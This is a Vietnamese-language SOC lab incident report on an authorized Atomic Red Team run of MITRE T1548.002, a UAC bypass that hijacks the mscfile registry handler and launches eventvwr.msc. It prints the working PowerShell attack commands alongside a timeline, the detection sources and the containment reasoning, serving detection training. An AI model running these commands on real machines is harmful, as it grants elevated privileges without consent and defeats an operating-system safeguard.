

T1548.002-2 Bypass UAC using Event Viewer (PowerShell)

1. Executive Summary

Trong phiên kiểm thử SOC/SOAR Home Lab, nhóm thực hiện mô phỏng kỹ thuật MITRE ATT&CK T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control bằng Atomic Red Team.

Bài test mô phỏng hành vi lợi dụng cơ chế xử lý file .msc của Windows thông qua registry path:

HKCU\Software\Classes\mscfile\shell\open\command

Payload PowerShell tạo registry hijack để chuyển handler mở .msc sang cmd.exe, sau đó gọi eventvwr.msc. Khi Event Viewer/MMC xử lý file .msc, hành vi này có thể làm phát sinh command shell trong ngữ cảnh elevated nếu điều kiện UAC và quyền người dùng phù hợp.

Kết luận điều tra: Đây là True Positive - Authorized Simulation.

2. Incident Classification

#	Kết quả
Case Name	T1548.002-2 - Bypass UAC using Event Viewer PowerShell
Classification	True Positive - Authorized Simulation
MITRE Tactic	Privilege Escalation
MITRE Technique	T1548.002 - Bypass User Account Control
Test Framework	Atomic Red Team
Detection Source	Splunk, Sysmon, LimaCharlie EDR
Case Platform	DFIR-IRIS
Affected Host	Windows 10 Victim
Observed Time Window	15:03:36 - 15:03:39
Business Impact	None
Containment Required	No
Final Status	Closed after validation

3. Scope and Environment

Bài kiểm thử được thực hiện trong môi trường home lab có kiểm soát, phục vụ mục tiêu huấn luyện SOC Analyst, Detection Engineering và quy trình xử lý case trong DFIR-IRIS.

Đầu tiên chạy atomic redteam bài test T1548.002-2 Bypass UAC using Event Viewer (PowerShell)

4. Detection Overview

```

T1548.002-2/ UAC Bypassed by Utilizing Privileged Registry.
PS C:\Users\longday> Invoke-AtomicTest T1548.002 -TestNumbers 2 -ShowDetails
PathToAtomicsFolder = C:\AtomicRedTeam\atomics

[*****BEGIN TEST*****]
Technique: Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002
Atomic Test Name: Bypass UAC using Event Viewer (PowerShell)
Atomic Test Number: 2
Atomic Test GUID: a6ce9acf-842a-4af6-8f79-539be7608e2b
Description: PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privileges

Attack Commands:
Executor: powershell
ElevationRequired: False
Command:
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"
Command (with inputs):
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

Cleanup Commands:
Command:
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
[!!!!!!END TEST!!!!!!]

PS C:\Users\longday> Invoke-AtomicTest T1548.002 -TestNumbers 2
PathToAtomicsFolder = C:\AtomicRedTeam\atomics

Executing test: T1548.002-2 Bypass UAC using Event Viewer (PowerShell)
Hive: HKEY_CURRENT_USER\software\classes\mscfile\shell\open
Name Property
----
command
Exit code: 0
Done executing test: T1548.002-2 Bypass UAC using Event Viewer (PowerShell)
PS C:\Users\longday> Invoke-AtomicTest T1548.002 -TestNumbers 2 -ShowDetails

```

5. Technical Timeline

Tiến hành xác định khoảng thời gian xảy ra các tiến trình được xác định là whoami và powershell và xác định được khoảng thời gian là từ 15:03:36 cho đến 15:03:39

Cơ chế (map ATT&CK T1548.002 – Bypass UAC):

- 1. .msc file được Windows resolve qua class mscfile. Windows ưu tiên đọc HKEY_CURRENT_USER\Software\Classes trước khi fallback về HKEY_CLASSES_ROOT - đây là điểm attacker khai thác.
- 2. Script ghi đè handler open của mscfile trở sang cmd.exe thay vì mmc.exe mặc định.
- 3. eventvwr.msc (thực chất là eventvwr.exe) có manifest autoElevate=true - Windows tự nâng quyền binary này lên High Integrity mà không hỏi UAC, vì đây là binary Microsoft ký số, nằm trong thư mục protected.
- 4. Khi eventvwr.exe khởi động, nó internally trigger một lệnh liên quan tới association mscfile - do đã chạy ở quyền elevated, tiến trình con sinh ra (bị hijack thành cmd.exe) thừa hưởng luôn token elevated đó.
- 5. Kết quả: attacker chỉ cần user thường, không cần mật khẩu admin, vẫn có được cmd.exe chạy quyền cao - bypass UAC hoàn toàn im lặng.

TimeLineCHI TIẾT

Giờ	PID	Sự kiện	Ý nghĩa
15:03:36	6160	whoami.exe chạy	Kiểm tra context/quyền hiện tại trước khi bypass
15:03:37	4136	powershell.exe spawn (parent là PID 5256 – cũng là powershell.exe)	Payload chính: tạo registry hijack + gọi eventvwr.msc
15:03:37	4136	Ghi registry HKCU:\...\mscfile\shell\open\command = cmd.exe	Bước hijack
15:03:37	4136	Tạo temp file __PSScriptPolicyTest_gofrxyp0.5uc.ps1	Artifact nội bộ của PowerShell khi evaluate script policy - dấu vết xác nhận script chạy non-interactive
15:03:37	9244, 5832	HOSTNAME.EXE chạy 2 lần	Recon môi trường sau bypass
15:03:38	10152	cmd.exe spawn	Đây là "payoff" - cmd.exe được sinh ra qua handler bị hijack, kế thừa token elevated từ eventvwr.exe
15:03:38	-	Load DLL: InstallService.dll, EAMProgressHandler.dll	Cần điều tra thêm - bất thường nếu

			không thuộc process chain hợp lệ của MMC/eventvwr
15:03:39	5592, 5832, 9244	Terminate (cha: PID 4136)	Dọn dẹp tiến trình con sau khi one-liner hoàn tất

Data Exfiltration	Không ghi nhận exfiltration
-------------------	-----------------------------

8. Containment Decision

Quyết định:

- Containment Required: No
- Endpoint Isolation: Not required
- Process Kill: Not required
- Account Disable: Not required
- Registry Remediation: Cleanup after test only

Lý do:

- Hành vi được tạo bởi Atomic Red Team trong phạm vi kiểm thử.
- Không ghi nhận malicious external IOC.
- Không ghi nhận persistence hoặc lateral movement sau test.
- Các process con kết thúc sau khi one-liner hoàn tất.
